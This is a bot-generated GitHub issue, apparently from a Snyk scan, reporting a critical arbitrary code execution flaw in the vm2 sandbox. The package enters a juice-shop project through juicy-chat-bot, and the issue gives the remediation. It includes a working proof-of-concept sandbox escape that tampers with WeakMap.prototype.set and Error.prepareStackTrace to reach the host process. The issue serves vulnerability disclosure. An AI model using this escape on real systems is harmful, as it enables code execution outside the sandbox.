Skip to content
New issue

Have a question about this project? # for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “#”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? # to your account

Critical severity - Arbitrary Code Execution vulnerability in vm2 (package.json) #126

Closed
github-actions bot opened this issue Apr 4, 2023 · 1 comment

Comments

@github-actions
Copy link

github-actions bot commented Apr 4, 2023

  • Package Manager: npm
  • Vulnerable module: vm2
  • Introduced through: juice-shop@12.3.0, juicy-chat-bot@0.6.5 and others

Detailed paths

  • Introduced through: juice-shop@12.3.0 › juicy-chat-bot@0.6.5 › vm2@3.9.3

Overview

vm2 is a sandbox that can run untrusted code with whitelisted Node's built-in modules.
Affected versions of this package are vulnerable to Arbitrary Code Execution due to the usage of prototype lookup for the WeakMap.prototype.set method. Exploiting this vulnerability leads to access to a host object and a sandbox compromise.

PoC

const { VM } = require('vm2');
new VM().run(`
const { set } = WeakMap.prototype;
WeakMap.prototype.set = function(v) {
return set.call(this, v, v);
};
Error.prepareStackTrace =
Error.prepareStackTrace =
(_, c) => c.map(c => c.getThis()).find(a => a);
const { stack } = new Error();
Error.prepareStackTrace = undefined;
stack.process.exit(1);
`);

// Never gets executed.
console.log('Finished');

Remediation

Upgrade vm2 to version 3.9.10 or higher.

References

@github-actions github-actions bot closed this as completed May 1, 2023
@github-actions
Copy link
Author

github-actions bot commented May 1, 2023

auto-closed by snyk_sarif_to_gh_issues
reason: snyk issues no longer exists

# for free to join this conversation on GitHub. Already have an account? # to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

0 participants